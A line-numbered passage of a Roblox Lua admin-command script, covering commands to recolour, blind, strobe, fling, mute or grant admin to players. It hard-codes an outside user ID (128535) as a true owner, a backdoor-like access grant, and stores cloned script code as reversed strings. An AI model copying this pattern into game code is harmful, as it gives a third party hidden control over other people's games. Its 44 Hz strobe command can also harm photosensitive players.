  2143. local plrz = GetPlr(plr, msg:lower():sub(10))
  2144. for i, v in pairs(plrz) do
  2145. coroutine.resume(coroutine.create(function()
  2146. if v and v.Character and v.Character:findFirstChild("Torso") and EnableLoadstring then
  2147. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2148. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2149. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2150. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = string.reverse([[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]])
  2151. cl.Parent = v.Character cl.Disabled = false
  2152. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2153. end
  2154. end))
  2155. end
  2156. end
  2157.  
  2158. if msg:lower():sub(1,8) == "noobify " then
  2159. local plrz = GetPlr(plr, msg:lower():sub(9))
  2160. for i, v in pairs(plrz) do
  2161. coroutine.resume(coroutine.create(function()
  2162. if v and v.Character then
  2163. Noobify(v.Character)
  2164. end
  2165. end))
  2166. end
  2167. end
  2168.  
  2169. if msg:lower():sub(1,9) == "ghostify " then
  2170. local plrz = GetPlr(plr, msg:lower():sub(10))
  2171. for i, v in pairs(plrz) do
  2172. coroutine.resume(coroutine.create(function()
  2173. if v and v.Character and v.Character:findFirstChild("Torso") then
  2174. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2175. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2176. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2177. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2178. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  2179. if prt.Name:find("Leg") then prt.Transparency = 1 end
  2180. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2181. end
  2182. end
  2183. end
  2184. end))
  2185. end
  2186. end
  2187.  
  2188. if msg:lower():sub(1,8) == "goldify " then
  2189. local plrz = GetPlr(plr, msg:lower():sub(9))
  2190. for i, v in pairs(plrz) do
  2191. coroutine.resume(coroutine.create(function()
  2192. if v and v.Character and v.Character:findFirstChild("Torso") then
  2193. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2194. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2195. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2196. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2197. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2198. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2199. end end
  2200. end
  2201. end))
  2202. end
  2203. end
  2204.  
  2205. if msg:lower():sub(1,6) == "shiny " then
  2206. local plrz = GetPlr(plr, msg:lower():sub(7))
  2207. for i, v in pairs(plrz) do
  2208. coroutine.resume(coroutine.create(function()
  2209. if v and v.Character and v.Character:findFirstChild("Torso") then
  2210. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2211. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2212. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2213. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2214. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2215. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2216. end end
  2217. end
  2218. end))
  2219. end
  2220. end
  2221.  
  2222. if msg:lower():sub(1,7) == "normal " then
  2223. local plrz = GetPlr(plr, msg:lower():sub(8))
  2224. for i, v in pairs(plrz) do
  2225. coroutine.resume(coroutine.create(function()
  2226. if v and v.Character and v.Character:findFirstChild("Torso") then
  2227. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2228. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2229. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2230. v.Character.Torso.Transparency = 0
  2231. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2232. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2233. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2234. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2235. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2236. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2237. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2238. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2239. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2240. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2241. end end
  2242. end
  2243. end))
  2244. end
  2245. end
  2246.  
  2247. if msg:lower():sub(1,7) == "trippy " then
  2248. local plrz = GetPlr(plr, msg:lower():sub(8))
  2249. for i, v in pairs(plrz) do
  2250. coroutine.resume(coroutine.create(function()
  2251. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) and EnableLoadstring then
  2252. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2253. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2254. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 bg.BackgroundTransparency = 0.4
  2255. local cl = ScriptBase:Clone() cl.Code.Value = string.reverse([[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]]) cl.Parent = scr cl.Disabled = false
  2256. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2257. end
  2258. end))
  2259. end
  2260. end
  2261.  
  2262. if msg:lower():sub(1,9) == "untrippy " then
  2263. local plrz = GetPlr(plr, msg:lower():sub(10))
  2264. for i, v in pairs(plrz) do
  2265. coroutine.resume(coroutine.create(function()
  2266. if v and v:findFirstChild("PlayerGui") then
  2267. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2268. end
  2269. end))
  2270. end
  2271. end
  2272.  
  2273. if msg:lower():sub(1,7) == "strobe " then
  2274. local plrz = GetPlr(plr, msg:lower():sub(8))
  2275. for i, v in pairs(plrz) do
  2276. coroutine.resume(coroutine.create(function()
  2277. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) and EnableLoadstring then
  2278. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2279. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2280. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 bg.BackgroundTransparency = 0.4
  2281. local cl = ScriptBase:Clone() cl.Code.Value = string.reverse([[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]]) cl.Parent = scr cl.Disabled = false
  2282. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2283. end
  2284. end))
  2285. end
  2286. end
  2287.  
  2288. if msg:lower():sub(1,9) == "unstrobe " then
  2289. local plrz = GetPlr(plr, msg:lower():sub(10))
  2290. for i, v in pairs(plrz) do
  2291. coroutine.resume(coroutine.create(function()
  2292. if v and v:findFirstChild("PlayerGui") then
  2293. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2294. end
  2295. end))
  2296. end
  2297. end
  2298.  
  2299. if msg:lower():sub(1,6) == "blind " then
  2300. local plrz = GetPlr(plr, msg:lower():sub(7))
  2301. for i, v in pairs(plrz) do
  2302. coroutine.resume(coroutine.create(function()
  2303. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2304. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2305. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2306. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2307. end
  2308. end))
  2309. end
  2310. end
  2311.  
  2312. if msg:lower():sub(1,8) == "unblind " then
  2313. local plrz = GetPlr(plr, msg:lower():sub(9))
  2314. for i, v in pairs(plrz) do
  2315. coroutine.resume(coroutine.create(function()
  2316. if v and v:findFirstChild("PlayerGui") then
  2317. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2318. end
  2319. end))
  2320. end
  2321. end
  2322.  
  2323. if msg:lower():sub(1,7) == "guifix " then
  2324. local plrz = GetPlr(plr, msg:lower():sub(8))
  2325. for i, v in pairs(plrz) do
  2326. coroutine.resume(coroutine.create(function()
  2327. if v and v:findFirstChild("PlayerGui") then
  2328. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2329. end
  2330. end))
  2331. end
  2332. end
  2333.  
  2334. if msg:lower():sub(1,9) == "loopheal " then
  2335. local plrz = GetPlr(plr, msg:lower():sub(10))
  2336. for i, v in pairs(plrz) do
  2337. if v and EnableLoadstring then
  2338. local cl = ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = string.reverse([[
  2339. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2340. repeat wait()
  2341. coroutine.resume(coroutine.create(function()
  2342. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2343. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2344. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2345. end
  2346. end))
  2347. until nil]]) table.insert(objects, cl) cl.Parent = game:service("ServerScriptService") cl.Disabled = false
  2348. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2349. end
  2350. end
  2351. end
  2352.  
  2353. if msg:lower():sub(1,11) == "unloopheal " then
  2354. local plrz = GetPlr(plr, msg:lower():sub(12))
  2355. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2356. end
  2357.  
  2358. if msg:lower():sub(1,10) == "loopfling " then
  2359. local plrz = GetPlr(plr, msg:lower():sub(11))
  2360. for i, v in pairs(plrz) do
  2361. if v and EnableLoadstring and DeadlyCommands then
  2362. local cl = ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = string.reverse([[
  2363. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2364. repeat
  2365. coroutine.resume(coroutine.create(function()
  2366. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2367. local xran local zran
  2368. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2369. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2370. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2371. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2372. end
  2373. end))
  2374. wait(2) until nil]]) table.insert(objects, cl) cl.Parent = game:service("ServerScriptService") cl.Disabled = false
  2375. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2376. end
  2377. end
  2378. end
  2379.  
  2380. if msg:lower():sub(1,12) == "unloopfling " then
  2381. local plrz = GetPlr(plr, msg:lower():sub(13))
  2382. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2383. end
  2384.  
  2385. end
  2386.  
  2387. -------------------------
  2388. -- True Owner Commands --
  2389. -------------------------
  2390.  
  2391. if plr.Name:lower() == nfs:lower() or plr.userId == (128535) or plr.userId == game.CreatorId then
  2392.  
  2393. if msg:lower():sub(1,5) == "mute " then
  2394. local plrz = GetPlr(plr, msg:lower():sub(6))
  2395. for i, v in pairs(plrz) do
  2396. coroutine.resume(coroutine.create(function()
  2397. if v and v:findFirstChild("PlayerGui")and not v.PlayerGui:FindFirstChild("Muted") and LocalScriptBase and not ChkAdmin(v.Name, false) then
  2398. local cl = LocalScriptBase:Clone()
  2399. cl.Value = string.reverse([[wait(0)game:GetService("StarterGui"):SetCoreGuiEnabled("Chat", false)]])
  2400. table.insert(objects, cl)
  2401. cl.Parent = v.PlayerGui
  2402. cl.Disabled = false
  2403. cl.Name = "Muted"
  2404. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2405. end
  2406. end))
  2407. end
  2408. end
  2409.  
  2410. if msg:lower():sub(1,7) == "unmute " then
  2411. local plrz = GetPlr(plr, msg:lower():sub(8))
  2412. for i, v in pairs(plrz) do
  2413. coroutine.resume(coroutine.create(function()
  2414. if v and v:FindFirstChild("PlayerGui") and LocalScriptBase then
  2415. for i ,v in pairs(v.PlayerGui:children())do
  2416. if v.Name:lower() == "Muted" then
  2417. v:Destroy()
  2418. local cl = LocalScriptBase
  2419. cl.Value = string.reverse([[wait(0)game:GetService("StarterGui"):SetCoreGuiEnabled("Chat", true)]])
  2420. table.insert(objects, cl)
  2421. cl.Parent = v.PlayerGui
  2422. cl.Disabled = false
  2423. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2424. end
  2425. end
  2426. end
  2427. end))
  2428. end
  2429. end
  2430.  
  2431. if msg:lower():sub(1,3) == "oa " then
  2432. local plrz = GetPlr(plr, msg:lower():sub(4))
  2433. for i, v in pairs(plrz) do
  2434. coroutine.resume(coroutine.create(function()
  2435. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", true, {v}) end)) end
  2436. end))
  2437. end
  2438. end
  2439.  
  2440. if msg:lower():sub(1,5) == "unoa " then
  2441. for i = 1, #owners do
  2442. coroutine.resume(coroutine.create(function()
  2443. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2444. end))
  2445. end
  2446. end
  2447.  
  2448. if msg:lower() == "settings" then
  2449. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2450. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2451. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2452. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2453. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2454. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8 tb1.Text = "Loading..."
  2455. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2456. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8 cb1.Text = "Loading..."
  2457. wait(math.random(444,666)/120)
  2458. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2459. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2460. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2461. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2462. end
  2463.  
  2464. if msg:lower() == "sbsettings" then
  2465. for i,v in pairs(plr.PlayerGui:children())do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2466. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2467. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2468. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2469. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Loadstring:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2470. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8 cb1.Text="Loading..."
  2471. wait(math.random(444,666)/120)
  2472. if EnableLoadstring then cb1.Text = "X" elseif not EnableLoadstring then cb1.Text = "" end
  2473. cb1.MouseButton1Down:connect(function() if EnableLoadstring then EnableLoadstring = false cb1.Text = "" elseif not EnableLoadstring then EnableLoadstring = true cb1.Text = "X" end end)
  2474. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2475. end
  2476.  
  2477. if msg:lower() == "deadlycmds" or msg:lower() == "deadly" then
  2478. for i,v in pairs(plr.PlayerGui:children())do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2479. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2480. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2481. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2482. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Deadly Cmds:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2483. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8 cb1.Text="Loading..."
  2484. wait(math.random(444,666)/120)
  2485. if DeadlyCommands then cb1.Text = "X" elseif not DeadlyCommands then cb1.Text = "" end
  2486. cb1.MouseButton1Down:connect(function() if DeadlyCommands then DeadlyCommands = false cb1.Text = "" elseif not DeadlyCommands then DeadlyCommands = true cb1.Text = "X" end end)
  2487. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2488. end
  2489.  
  2490. end
  2491.  
  2492. --------------------
  2493. -- Owner Commands --
  2494. --------------------
  2495.  
  2496. if plr.Name:lower() == nfs:lower() or plr.userId == (128535) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2497.  
  2498. if msg:lower():sub(1,3) == "pa " then
  2499. local plrz = GetPlr(plr, msg:lower():sub(4))
  2500. for i, v in pairs(plrz) do
  2501. coroutine.resume(coroutine.create(function()
  2502. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", true, {v}) end)) end
  2503. end))
  2504. end
  2505. end
  2506.  
  2507. if msg:lower():sub(1,5) == "unpa " then
  2508. for i = 1, #admins do
  2509. coroutine.resume(coroutine.create(function()
  2510. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2511. end))
  2512. end
  2513. end
  2514.  
  2515. if msg:lower():sub(1,5) == "nuke " then
  2516. local plrz = GetPlr(plr, msg:lower():sub(6))
  2517. for i, v in pairs(plrz) do
  2518. coroutine.resume(coroutine.create(function()
  2519. if v and v.Character and v.Character:findFirstChild("Torso") then
  2520. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2521. p.Anchored = true
  2522. p.CanCollide = false
  2523. p.formFactor = "Symmetric"
  2524. p.Shape = "Ball"
  2525. p.Size = Vector3.new(1,1,1)
  2526. p.BrickColor = BrickColor.new("New Yeller")
  2527. p.Transparency = .5
  2528. p.Reflectance = .2
  2529. p.TopSurface = 0
  2530. p.BottomSurface = 0
  2531. p.Touched:connect(function(hit)
  2532. if hit and hit.Parent then
  2533. local ex = Instance.new("Explosion", game.Workspace)
  2534. ex.Position = hit.Position
  2535. ex.BlastRadius = 11
  2536. ex.BlastPressure = math.huge
  2537. end
  2538. end)
  2539. local cf = v.Character.Torso.CFrame
  2540. p.CFrame = cf
  2541. for i = 1, 333 do
  2542. p.Size = p.Size + Vector3.new(3,3,3)
  2543. p.CFrame = cf
  2544. wait(1/44)
  2545. end
  2546. p:Destroy()
  2547. end
  2548. end))
  2549. end
  2550. end
  2551.  
  2552. end
  2553.  
  2554. --------------------------
  2555. -- Super Admin Commands --
  2556. --------------------------
  2557.  
  2558. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (128535) or plr.Name:lower() == nfs then
  2559.  
  2560. if msg:lower():sub(1,7) == "fixcam "then
  2561. local plrz = GetPlr(plr, msg:lower():sub(8))
  2562. for i, v in pairs(plrz) do
  2563. coroutine.resume(coroutine.create(function()
  2564. if v and v:FindFirstChild("PlayerGui") and v.Character and v.Character:FindFirstChild("Head") and EnableLoadstring then
  2565. if LocalScriptBase then
  2566. local cl = LocalScriptBase:Clone() cl.Parent = v.PlayerGui cl.Code.Value = string.reverse([==[repeat wait(0)until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChild("Head") and game.Workspace.CurrentCamera
  2567. local cam = game.Workspace.CurrentCamera:Clone()
  2568. cam:remove()
  2569. wait(.5)
  2570. local newcam = cam:Clone()
  2571. newcam.Parent = game.Workspace
  2572. newcam.CameraSubject = game.Players.LocalPlayer.Character.Head
  2573. wait(.1)
  2574. game.Players.LocalPlayer.Character:BreakJoints()
  2575. ]==])
  2576. table.insert(objects, cl) cl.Name = "FixCam" cl.Disabled = false Output(msg:sub(4), plr)
  2577. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2578. end
  2579. end
  2580. end))
  2581. end
  2582. end
  2583.  
  2584. if msg:lower() == "logs" then
  2585. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2586. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2587. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2588. end
  2589.  
  2590. if msg:lower():sub(1,9) == "loopkill " then
  2591. local chk1 = msg:lower():sub(10):find(" ")
